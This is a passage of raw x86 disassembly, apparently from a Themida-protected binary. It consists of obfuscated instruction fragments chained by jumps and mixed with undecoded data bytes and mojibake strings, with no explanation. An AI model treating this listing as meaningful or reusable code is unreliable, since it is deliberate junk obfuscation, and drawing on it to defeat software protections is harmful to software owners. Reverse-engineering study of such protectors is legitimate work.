loc_556F80:				; CODE XREF: Themida_:0055F27Ej
		push	esi
		mov	esi, 67F56D49h
		add	esi, 7DE671F8h
		add	esi, 5710490Bh
		add	esi, 10CB466Ch
		and	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_553AB4
; ---------------------------------------------------------------------------
		db 2 dup(0B9h),	7
		dd 0CD214214h, 39ED8159h, 0E9653335h, 0FFFFB8AEh, 2C67E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556FBE:				; CODE XREF: Themida_:00565190j
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55AA22
; ---------------------------------------------------------------------------

loc_556FC9:				; CODE XREF: Themida_:005581F6j
		push	ecx
		mov	ecx, esp
		jmp	loc_56601E
; ---------------------------------------------------------------------------
		db 0Dh,	0, 3Dh
		dd 0C82D231Ah, 35064C46h, 2992F83Ah, 6858C101h,	2D89h
		dd 68243C89h, 4, 0E92434FFh, 0BC33h
; ---------------------------------------------------------------------------

loc_556FF8:				; CODE XREF: Themida_:0055B334j
		pop	ebx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_566245
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0BCh
		dd 2169BB50h, 242C8BEFh, 4C481h, 0F74F0000h, 5E7C1D7h
		dd 5205E7C1h, 41AE94BAh, 5AD70182h, 8904EC83h, 0E789243Ch
		dd 88CCE9h
		db 0
; ---------------------------------------------------------------------------

loc_557041:				; CODE XREF: Themida_:0055D728j
		add	eax, esi
		pop	esi
		jmp	loc_55EFC1
; ---------------------------------------------------------------------------

loc_557049:				; CODE XREF: Themida_:0055F4CFj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_5583F6
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_5540CE
; ---------------------------------------------------------------------------

loc_557076:				; CODE XREF: Themida_:00555749j
		pop	ebp
		dec	edx
		add	edx, 0FBE30C3Eh
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_553FD1
; ---------------------------------------------------------------------------
		dd 81FA015Eh, 26417BEAh, 243C8B5Dh, 0FFAF0DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55709D:				; CODE XREF: Themida_:00557E6Bj
		mov	[esp], eax
		mov	eax, 489745C2h
		not	eax
		add	eax, 41316ED7h
		dec	eax
		xor	eax, 9BE68FA5h
		jmp	loc_5615C7
; ---------------------------------------------------------------------------

loc_5570B7:				; CODE XREF: Themida_:005538D1j
		xor	ebp, edi
		jmp	loc_55EB2D
; ---------------------------------------------------------------------------

loc_5570BE:				; CODE XREF: Themida_:005516EFj
		pop	edi
		push	esi
		mov	esi, 38AC54D0h
		xor	edi, esi
		pop	esi
		shr	edi, 6
		sub	edi, 0E5015F60h
		mov	edx, edi
		jmp	loc_55BE6C
; ---------------------------------------------------------------------------
		dd 15EF789h, 0D6E95FFBh
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5570E3:				; CODE XREF: Themida_:0055FD79j
		sub	eax, 1C51851h
		xor	eax, 0D5878117h
		add	edx, 700E79EAh
		add	edx, eax
		jmp	loc_565855
; ---------------------------------------------------------------------------
		dw 0E681h
		dd 205F40BEh, 4AABF681h, 0F5012952h, 8124348Bh,	4C4h, 5DE92900h
		dd 0FFD8A4E9h, 4BBFFh, 0BF570000h, 4FBA3893h, 15FFD29h
		dd 93C581DDh, 5B4FBA38h, 0BACFE9h, 0B60F6600h, 6C6866C8h
		dd 0C896654h, 0A3A5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557146:				; CODE XREF: Themida_:0055394Fj
		pop	edi
		add	edi, 6FB550DCh
		jmp	loc_55E115
; ---------------------------------------------------------------------------

loc_557152:				; CODE XREF: Themida_:0055A511j
		push	eax
		jmp	loc_5608FD
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0FFFA92E9h, 59CD89FFh, 52E5D145h,	0F91EC0BAh
		dd 5AD50155h, 0FFAC88E9h, 0E9E689FFh, 0C849h, 233496BAh
		dd 5AD00115h, 1AB1E9h, 0B8505F00h, 9112466h, 6804E0C1h
		dd 13E3h, 0B9240C89h, 672B6865h, 0C8BC809h, 0B8A6E924h
		dd 1C87FFFFh, 0C1815C24h, 4, 5CD6E950h,	0C1890000h, 2BD90558h
		dd 52E97F70h, 5600008Dh, 1AE9E689h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5571CF:				; CODE XREF: Themida_:0055E641j
		xor	dword ptr [esp], 0B187561h
		pop	ecx
		xor	ecx, 0B187561h
		pop	ebx
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	1909h
		jmp	loc_55A4C9
; ---------------------------------------------------------------------------

loc_5571F3:				; CODE XREF: Themida_:00551870j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		jmp	loc_55EFB4
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 4BE2EE81h, 4AE97BFAh, 0FF000090h, 97E92434h,	0FF0000E7h
		dd 5F042474h, 5C24048Fh, 67A4E9h, 8B545700h, 0C483243Ch
		dd 0B9515604h, 3BBF4F0Ch, 88FDE9h
		db 0
; ---------------------------------------------------------------------------

loc_557239:				; CODE XREF: Themida_:00565125j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_55E702
; ---------------------------------------------------------------------------
		db 87h
		dd 87D7F7FAh, 0F8C281FAh, 31933C0Ch, 0E9535AD0h, 8E4Bh
		dd 0CCBE565Fh, 81645953h, 5A6267F6h, 9ACE812Ah,	833D4F2Bh
		dd 0DEF701EEh, 0B0EFC681h, 0F3013110h, 0D8E9815Eh, 814DC90Eh
		dd 7D6830E9h, 0B13E93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557292:				; CODE XREF: Themida_:00554685j
		mov	ebx, 7CB070BEh
		sub	ebx, 60F66949h
		xor	ebx, 6DAC1897h
		or	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 4A3B5D5Ah
		jmp	loc_55B126
; ---------------------------------------------------------------------------
		db 68h,	44h, 68h
		dd 1C890000h, 0AC9DE924h, 0D028FFFFh, 0A82C802Ch, 2EC81h
		dd 89660000h, 60B3241Ch, 8006E3C0h, 0E1E9D5E3h,	890000CDh
		dd 0A6BE2434h, 290A3D4Fh, 0FF082474h, 87E92434h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5572EF:				; CODE XREF: Themida_:005573FBj
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_556C85
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0F61Bh, 0FFA1DEE9h, 5BDA29FFh, 34FFD701h, 794BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55731A:				; CODE XREF: Themida_:005584E1j
		push	eax
		jmp	loc_563D40
; ---------------------------------------------------------------------------
		dd 0E00770BBh, 245C012Ch, 0DE95B08h, 81000015h,	93577EE7h
		dd 0B5EF8168h, 89BCCE2Fh, 243C8BFBh, 4C481h, 0D3F70000h
		dd 2952C381h, 0BE97C39h, 5B000094h, 57E9E9h
		db 0
; ---------------------------------------------------------------------------

loc_557359:				; CODE XREF: Themida_:0055DA55j
		mov	edx, 24h
		add	edx, edi
		jmp	loc_55BB10
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 34870000h, 24248B24h, 24048B66h, 34FF5451h
		dd 0C4835924h, 4EC8304h, 0BB241C89h, 4,	7BAEE981h, 0D901555Dh
		dd 0B24E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55739A:				; CODE XREF: Themida_:00562884j
		pop	edi
		jmp	loc_5609DE
; ---------------------------------------------------------------------------
		dd 0A7105BAh, 0EAC6E942h, 0C481FFFFh, 4, 8B24048Fh, 4892424h
		dd 0BB93E924h, 0C483FFFFh, 4C48104h, 55000000h,	121F7BBDh
		dd 0B6FAE956h, 0C8680000h, 89000021h, 57BF243Ch, 0B9540327h
		dd 94872AC4h, 2BB4E9h
		db 0
; ---------------------------------------------------------------------------

loc_5573E9:				; CODE XREF: Themida_:00551602j
		push	esi
		mov	esi, 18DC6791h
		sub	esi, 7F312E5Ch
		xor	esi, 99AB3931h
		jmp	loc_5572EF
; ---------------------------------------------------------------------------
dword_557400	dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFA0DBh
					; DATA XREF: Themida_:005512A4o
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55815A
; ---------------------------------------------------------------------------
		db 81h
		dd 41042444h, 177FC52h,	81042444h, 4104246Ch, 5377FC52h
		dd 0FFFEEBE9h
		db 0FFh
off_557435	dd offset dword_58E268	; DATA XREF: Themida_:00551408o
		align 2
		dw 2489h
		dd 4BA5224h, 1000000h, 5A042454h, 5A2434FFh, 1F5468h, 243C8900h
		dd 0C781E789h, 4, 7B2A6852h, 0C890000h,	7AE95624h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55746B:				; CODE XREF: Themida_:005669C7j
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	esi
		jmp	loc_5593DF
; ---------------------------------------------------------------------------
		dd 6519C581h, 9AE90E6Bh, 31FFFFB5h, 0ED815DEAh,	52090405h
		dd 0C581D529h, 52090405h, 8BEA015Ah, 0C481242Ch, 4, 4EC81h
		dd 6EE90000h
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5574B3:				; CODE XREF: Themida_:0055E848j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_559761
; ---------------------------------------------------------------------------
		db 89h
		dd 4EC81E0h, 89000000h,	0C268242Ch, 5D403C4Bh, 4BC6F581h
		dd 0C305403Ch, 1567662h, 5BB951E8h, 0E907B620h,	0FFFFB0CDh
		dd 0C158C121h, 0E98106E9h, 0EDB14D5Ch, 8159CB31h, 9A1815EAh
		dd 0E9DA0123h, 0D3EAh
; ---------------------------------------------------------------------------

loc_55750C:				; CODE XREF: Themida_:0055AB50j
		pop	edi
		mov	ecx, 49F60E87h
		xor	ecx, edx
		pop	edx
		add	ecx, 3F5D5C4Ch
		add	ecx, edx
		push	edx
		push	edi
		push	5B24620Dh
		jmp	loc_562E0A
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 0E9h
		dd 0CB20h, 6DD1E95Fh, 58540000h, 4AB8E9h
		db 0
; ---------------------------------------------------------------------------

loc_55753D:				; CODE XREF: Themida_:0055F4B4j
		pop	ebp
		sub	[edi+24h], eax
		mov	eax, [esp]
		jmp	loc_55A36A
; ---------------------------------------------------------------------------
byte_557549	db 66h,	8Bh, 4		; DATA XREF: Themida_:00551284o
aQts		db '$QTИ╠-',0
		align 4
		dd 0E959CF88h, 1372h, 0CBFEDA86h, 0C280DA86h, 44BFE9FDh
		dd 815A0000h, 8A29A0F5h, 0FFEA011Fh, 2C8B2434h,	4C48324h
		dd 0E904C483h, 0CD0h, 80400E68h, 45B7E914h, 0EC810000h
		dd 4, 0FFC405E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557599:				; CODE XREF: Themida_:0055C4A7j
		push	eax
		add	dword ptr [esp], 11782343h
		pop	ebp
		sub	ebp, 11782343h
		pop	eax
		push	ebp
		push	ecx
		push	5D913907h
		jmp	loc_56312A
; ---------------------------------------------------------------------------
aSrOOscm	db 'SR╨',0Bh,'O;OИc╛',0
		dd 5C80100h, 0D3E2727h,	702BD92Dh, 34FF597Fh, 2434FF24h
		dd 4C48159h, 83000000h,	706804C4h, 0E9000031h, 2CB7h, 0C788C888h
		dd 1031E9h, 45C80500h, 0E95106B8h, 0DA5Eh, 4C681h, 0EE810000h
		dd 4, 0E9243487h, 7B0Ch
; ---------------------------------------------------------------------------

loc_557610:				; CODE XREF: Themida_:0056602Dj
		add	ecx, 5B201F27h
		jmp	loc_55EFD8
; ---------------------------------------------------------------------------

loc_55761B:				; CODE XREF: Themida_:00565C61j
		sub	edx, ebx
		jmp	loc_55CADB
; ---------------------------------------------------------------------------

loc_557622:				; CODE XREF: Themida_:00562D92j
		pop	edi
		push	ecx
		jmp	loc_557914
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 52506AB1h, 0FFD402E9h, 81C329FFh, 0AA484DEBh, 0C5BE5610h
		dd 57202179h, 0BFh, 3FA2E900h, 815D0000h, 4E9h,	0B28AE900h
		dd 0C147FFFFh, 0CF8107EFh, 62052FEAh, 0BA52D7F7h, 3918B18Eh
		dd 315AD729h, 0EA815FFAh, 0FFFFFFFFh, 12B3E9h, 66FD2800h
		dd 0E9EBB652h, 0E310h, 0E789575Bh, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 2EC8359h, 241C8966h, 0E952E5B7h, 9046h
; ---------------------------------------------------------------------------

loc_5576AC:				; CODE XREF: Themida_:0055C947j
		add	ebp, edi
		add	ebp, 29282E01h
		sub	ebp, 76E92B49h
		pop	edi
		jmp	loc_55660A
; ---------------------------------------------------------------------------
		dd 68E990B7h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5576C7:				; CODE XREF: Themida_:0055FE07j
		xor	ebp, 585D79BDh
		or	ebp, 4C084E69h
		xor	ebp, 389038CCh
		jmp	loc_555A10
; ---------------------------------------------------------------------------

loc_5576DE:				; CODE XREF: Themida_:00556DB3j
		add	esp, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55DC40
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 5D04C483h, 58E95952h, 55000067h, 6555C2BDh, 0E9E9297Ch
		dd 6B6Eh, 3304C783h, 3C31243Ch,	243C3324h, 0E924248Bh
		dd 0B3D5h
; ---------------------------------------------------------------------------

loc_557724:				; CODE XREF: Themida_:0055D16Dj
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_559F47
; ---------------------------------------------------------------------------

loc_557739:				; CODE XREF: Themida_:005600BBj
		push	4B99h
		mov	[esp], esi
		push	eax
		jmp	loc_55AAE1
; ---------------------------------------------------------------------------
		db 89h
		dd 0F9E9243Ch
		db 0B6h, 2 dup(0FFh)
byte_55774F	db 0FFh			; DATA XREF: Themida_:00551260o
		dd 669D1C77h, 4196658h,	8CE99C24h, 5BFFFF9Dh, 5E08950h
		dd 4, 98C0E9h, 66C2FE00h, 0E994B050h, 13DEh
; ---------------------------------------------------------------------------

loc_557778:				; CODE XREF: Themida_:0055FD68j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_553FA5
; ---------------------------------------------------------------------------
		db 83h,	0EDh, 0FFh
		dd 70C6E9h
		db 0, 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55D172
; ---------------------------------------------------------------------------
		dd offset dword_59EB00
		dd 15B568C3h, 14890000h, 9CF0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5577B2:				; CODE XREF: Themida_:0055C910j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_55E56A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4C481h, 8F660000h, 0C6B5E900h, 0F792FFFFh, 8DE950D0h
		dd 0FF00001Dh, 0E99C240Ch, 0FFFF9CFBh, 53D5F581h, 0EE01809Bh
		dd 6ABA525Dh, 0E9663423h, 969h
dword_557804	dd 9D1C77FFh, 24041158h, 9CD9E99Ch ; DATA XREF:	Themida_:005512A0o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557812:				; CODE XREF: Themida_:0055687Dj
		push	ecx
		mov	ecx, edi
		push	ecx
		jmp	loc_554315
; ---------------------------------------------------------------------------
		db 1
		dd 0FB6E9C7h, 67050000h, 1F73B6Eh, 8DE958C3h, 1000066h
		dd 240C8BC8h, 0E904C483h, 0A957h, 26996850h, 52582504h
		dd 6D09BBBAh, 0F9FDE931h, 4B9FFFFh, 0E9000000h,	982Ch
		dd 895C3C68h, 0F449E934h, 0CF01FFFFh, 36F4EF81h, 0C8B3DD2h
		dd 0E7895724h, 4C781h, 8EE90000h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55787B:				; CODE XREF: Themida_:005587C1j
		shl	eax, 7
		sub	eax, 63C09E6Bh
		mov	edi, eax
		pop	eax
		jmp	loc_56280B
; ---------------------------------------------------------------------------
		db 81h
		dd 5923ECC7h, 5FFB296Bh, 37B4BD55h, 54E924A0h, 57000074h
		dd 8904EC83h, 0E9E92414h, 510000C8h, 0C181E189h, 4, 8704C183h
		dd 565C240Ch, 3C9E9h, 241C8900h, 0E904EC83h, 0FFFFAD08h
		dd 5604C483h, 4BF57h, 0FE890000h, 0B3ED815Fh, 81082E49h
		dd 0D62408EDh, 81F52915h, 0D62408C5h, 3D7AE915h, 59540000h
		dd 4C181h, 0E90000h, 66FFFFA6h,	8324148Bh, 0B75302C4h
		dd 0EBF7803Bh, 0E904EFC0h, 2BE8h
; ---------------------------------------------------------------------------

loc_557914:				; CODE XREF: Themida_:00557624j
		mov	ecx, 68701928h
		add	eax, ecx
		pop	ecx
		sub	eax, esi
		push	edi
		mov	edi, 68701928h
		sub	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 59B137ABh
		push	ebp
		mov	ebp, 48B85E0Ch
		xor	ecx, ebp
		jmp	loc_55EE9A
; ---------------------------------------------------------------------------

loc_55793F:				; CODE XREF: Themida_:00559215j
		pop	edx
		mov	ebp, ecx
		pop	ecx
		add	edx, 23470F72h
		add	edx, ebp
		sub	edx, 23470F72h
		pop	ebp
		jmp	loc_55DCDE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8957242Ch, 4C781E7h,	81000000h, 4C7h, 243C8700h, 24048F5Ch
		dd 8324248Bh, 34FF04C4h, 0C8E1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55797E:				; CODE XREF: Themida_:0055B2BAj
		and	eax, 38182374h
		push	ebx
		mov	ebx, 0CB7A8Ch
		add	ebx, 45893F5h
		jmp	loc_5552EA
; ---------------------------------------------------------------------------
		dd 0FFFE295Ah, 1BE92434h, 52FFFFB2h, 4BAh, 29E98100h, 1659979h
		dd 29BB53D1h, 81659979h, 0CF3772E9h, 0E9D9014Ah, 0FFFFD029h
; ---------------------------------------------------------------------------

loc_5579C0:				; CODE XREF: Themida_:0055D7DEj
		mov	[esp], ecx
		mov	ecx, 5C102427h
		xchg	ebp, ecx
		not	ebp
		jmp	loc_565772
; ---------------------------------------------------------------------------
aHgh		db '[h┐h',0
		dw 8900h
		dd 5B54241Ch, 4C381h, 0F3E90000h, 890000BBh, 4EC83E7h
		dd 0B8240489h, 4, 119CEF81h, 0BD5560C4h, 11566056h, 815DEF01h
		dd 840B5BC7h, 81C7016Ch, 840B5BEFh, 56EF816Ch, 81115660h
		dd 0C4119CC7h, 24048B60h, 4C481h, 53550000h, 8904EC83h
		dd 67B9240Ch, 815FFB37h, 6B7B0FE9h, 0F7D9F756h,	0E9D1F7D9h
		dd 0FFFFC1C6h, 804EF380h, 0D8003CF3h, 0CAE95B5Bh
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557A53:				; CODE XREF: Themida_:0055185Fj
		pop	esp
		jmp	loc_56192F
; ---------------------------------------------------------------------------

loc_557A59:				; CODE XREF: Themida_:00564793j
		pop	eax
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		push	6F29h
		mov	[esp], edi
		mov	edi, 694140FAh
		xor	edi, 1B0D5365h
		jmp	loc_55802F
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 12812BF7h, 55242C8Bh, 572668h, 48F5400h, 4B85024h, 0E9000000h
		dd 7F09h
; ---------------------------------------------------------------------------

loc_557A94:				; CODE XREF: Themida_:0055A22Bj
		mov	eax, 23FD4A8Fh
		jmp	loc_55DD11
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 43734BC6h, 8324048Bh, 1C8704C4h, 9BE95C24h, 660000B3h
		dd 0E9240C8Bh, 0AE46h
; ---------------------------------------------------------------------------

loc_557ABC:				; CODE XREF: Themida_:0055AF43j
		mov	edx, eax
		jmp	loc_556EB2
; ---------------------------------------------------------------------------

loc_557AC3:				; CODE XREF: Themida_:005592A4j
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		push	ebp
		jmp	loc_55D165
; ---------------------------------------------------------------------------
aPEZsze		db 'P╦^E/zИZe',0
		align 2
		dw 0D830h
		dd 83241C8Bh, 0C33004C4h, 66C0B60Fh, 8324148Bh,	1C8904ECh
		dd 88E95424h, 31FFFFA0h, 2C33242Ch, 0A3E95C24h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557B03:				; CODE XREF: Themida_:00560628j
		add	esp, 4
		push	49FDh
		mov	[esp], esi
		push	203h
		mov	[esp], ebp
		add	dword ptr [esp], 14B92ADEh
		mov	esi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_56616E
; ---------------------------------------------------------------------------
		dd 4EC835Ch, 89241489h,	4C281E2h, 81000000h, 4EAh, 24148700h
		dd 240C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_55D1B7
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0BEh
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557B6F:				; CODE XREF: Themida_:005583D2j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	6465h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		push	edi
		jmp	loc_55CB5F
; ---------------------------------------------------------------------------
aBFSY		db '│а}f╫|)аИшY',0
		dw 6600h
		dd 66CCB60Fh, 66022B68h, 0E9240C89h, 0FFFF9E4Ah, 0D8AABB53h
		dd 56E94FCDh, 1FFFFF7h,	0E5EFE9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557BBE:				; CODE XREF: Themida_:0055DD83j
		add	dh, 0B2h
		xor	dh, 9Fh
		sub	dh, 0DAh
		shr	dh, 1
		xor	dh, 89h
		sub	bl, dh
		pop	edx
		xor	cl, bl
		pop	ebx
		xor	cl, 8Bh
		jmp	loc_55B685
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 671D326Eh, 67E9E901h, 83FFFFFAh, 0C82D04C4h,	0E93A1569h
		dd 1892h
; ---------------------------------------------------------------------------

loc_557BF4:				; CODE XREF: Themida_:0056527Cj
		pop	edi
		add	esp, 4
		push	61EEh
		mov	[esp], edx
		jmp	loc_560EEF
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 19F6BF57h, 35E97690h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557C13:				; CODE XREF: Themida_:00554C28j
		mov	[esp], esi
		push	ebp
		mov	ebp, ebx
		jmp	loc_5643DA
; ---------------------------------------------------------------------------
		dw 0FF66h
		dd 0E9022474h, 47EDh, 0E95DE931h, 0FFFFB1CBh, 0C681EE01h
		dd 4E38050Eh, 697BE9h, 46800h, 15B0000h, 14875BDAh, 89535C24h
		dd 4BD55E3h, 1000000h, 0EBE95DEBh
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557C5B:				; CODE XREF: Themida_:0055FF82j
		sub	esi, edi
		pop	edi
		push	3445h
		mov	[esp], esi
		jmp	loc_55186C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E28107EAh, 33641947h, 60D6E9h, 241C8900h, 0E2BEE9h
		dd 0C895C00h, 0CD11E924h, 0E6890000h, 4C681h, 0E4E90000h
		dd 83000098h, 348904ECh, 81E68924h, 4C6h, 4C68100h, 0E9000000h
		dd 6C53h
dword_557CB0	dd 24048B66h, 6B9C68h, 241C8900h, 8904EC83h, 4832424h
					; DATA XREF: Themida_:005513C8o
		dd 575B0424h, 0D538E9h,	4C58100h, 53000000h, 4BBh, 8BDD0100h
		dd 0C483241Ch, 242C3304h, 33242C31h, 248B242Ch,	24048F24h
		dd 8924248Bh, 0F0E92404h, 89FFFF97h, 0AEE9241Ch, 890000E9h
		dd 18BE2434h, 8100874Fh, 1C6h, 0B9EE8100h, 812F0C44h, 714088CEh
		dd 0CDEE8103h, 81C0D3D6h, 5E2133EAh, 81F22950h,	5E2133C2h
		dd 24348B50h, 95ABE9h, 4C68100h, 0E9000000h, 98Dh, 0E9F00059h
		dd 4421h
; ---------------------------------------------------------------------------

loc_557D4C:				; CODE XREF: Themida_:00553E3Fj
		add	edi, 0C91385Eh
		add	edi, 274D3FFCh
		push	edi
		push	esi
		mov	esi, 3A6355B8h
		jmp	loc_55D802
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 0C85Fh, 90CF815Dh, 8141B45Dh, 7E5EF3F7h
		dd 5FFE0951h, 6921BD55h, 0DDF7662Bh, 0C78ED81h,	0CD812F8Ch
		dd 25B93DA4h, 0E905E5C1h, 0AB64h
; ---------------------------------------------------------------------------

loc_557D98:				; CODE XREF: Themida_:0055BDBCj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55B6E1
; ---------------------------------------------------------------------------
aSL		db ')ыИц╚',0
		align 4
aHk		db 'h╙#',0
		dd 241C8900h, 0D19DE9h
		db 0
; ---------------------------------------------------------------------------

loc_557DB9:				; CODE XREF: Themida_:0056457Fj
		push	bx
		mov	bl, 2Ch
		jmp	loc_551E9D
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 5AE95C24h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557DCB:				; CODE XREF: Themida_:00555A46j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55EC87
; ---------------------------------------------------------------------------
		db 1, 0CFh, 56h
		dd 4E757468h, 0F7295E7Fh, 0FFA487E9h, 527BB8FFh, 9356D97h
		dd 1572B11h, 0F5D58C7h,	34FFC0B6h, 7B756887h, 0BBE90000h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557E0F:				; CODE XREF: Themida_:0055AC88j
		xor	ecx, 87DD98B1h
		sub	ebx, 3A4E3BACh
		add	ebx, ecx
		push	ebp
		mov	ebp, 2B32C08h
		jmp	loc_559424
; ---------------------------------------------------------------------------

loc_557E28:				; CODE XREF: Themida_:00553AD6j
		sub	ebx, 0CAC74E8h
		sub	ebx, edx
		jmp	loc_553F88
; ---------------------------------------------------------------------------
		align 2
		dw 5AD3h
		dd 305BDC88h, 0C5D7E9FCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557E42:				; CODE XREF: Themida_:0055DD0Cj
		push	edx
		jmp	loc_55F21F
; ---------------------------------------------------------------------------
		dd 4C481h, 68660000h, 20E92E99h
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_557E57:				; CODE XREF: Themida_:0056029Bj
		push	ebx
		mov	ebx, 1BE74080h
		push	0
		sub	[esp], ebx
		pop	ebx
		push	5C67h
		jmp	loc_55709D
; ---------------------------------------------------------------------------
aWs		db 'WИ]~',0
		align 2
		dw 0DEF6h
		dd 0A9EE80h, 0A692E9F3h, 27B40000h, 0EEEAE953h,	0D3050000h
		dd 0E95A5B16h, 755Eh
; ---------------------------------------------------------------------------

loc_557E94:				; CODE XREF: Themida_:005552E5j
		xchg	edi, [esp]
		jmp	loc_559F5A
; ---------------------------------------------------------------------------
		dd 24048F5Ch, 18D7E9h
		db 0
; ---------------------------------------------------------------------------

loc_557EA5:				; CODE XREF: Themida_:00551FF6j
		push	ebx
		mov	ebx, 3BF5053h
		add	ebx, 679926C1h
		shl	ebx, 1
		add	ebx, 13662E47h
		jmp	loc_55D385
; ---------------------------------------------------------------------------
		dw 0AEBFh
		dd 1555D7Bh, 0EEE95FF9h, 0B8FFFF97h, 31992AC8h,	505E8C1h
		dd 64AB352Bh, 14F7222Dh, 0D5EFE92Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557EE2:				; CODE XREF: Themida_:00555DE9j
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_565308
; ---------------------------------------------------------------------------

loc_557EF3:				; CODE XREF: Themida_:00564865j
		push	edi
		push	ebx
		push	esi
		mov	esi, 671549FCh
		neg	esi
		dec	esi
		add	esi, 6E24076Bh
		and	esi, 55D55A34h
		sub	esi, 0ACA7DCD3h
		jmp	loc_564186
; ---------------------------------------------------------------------------

loc_557F15:				; CODE XREF: Themida_:0055EBE6j
		mov	esp, [esp]
		pop	eax
		jmp	loc_560D54
; ---------------------------------------------------------------------------
aTXst		db '╨Tж}ЕИtЛ',0
		align 4
		dd 0E537B9BFh, 0DE78174h, 812A1934h, 0DD190DC7h, 70B8505Bh
		dd 0F7755661h, 150548D8h, 0E971A873h, 0E6F5h, 4CD9EA81h
		dd 875E2173h, 665C2414h, 566D829h, 5666046Ch, 0F4BABE66h
		dd 8904EC83h, 6866243Ch, 5F6645EDh, 2EC81h, 89660000h
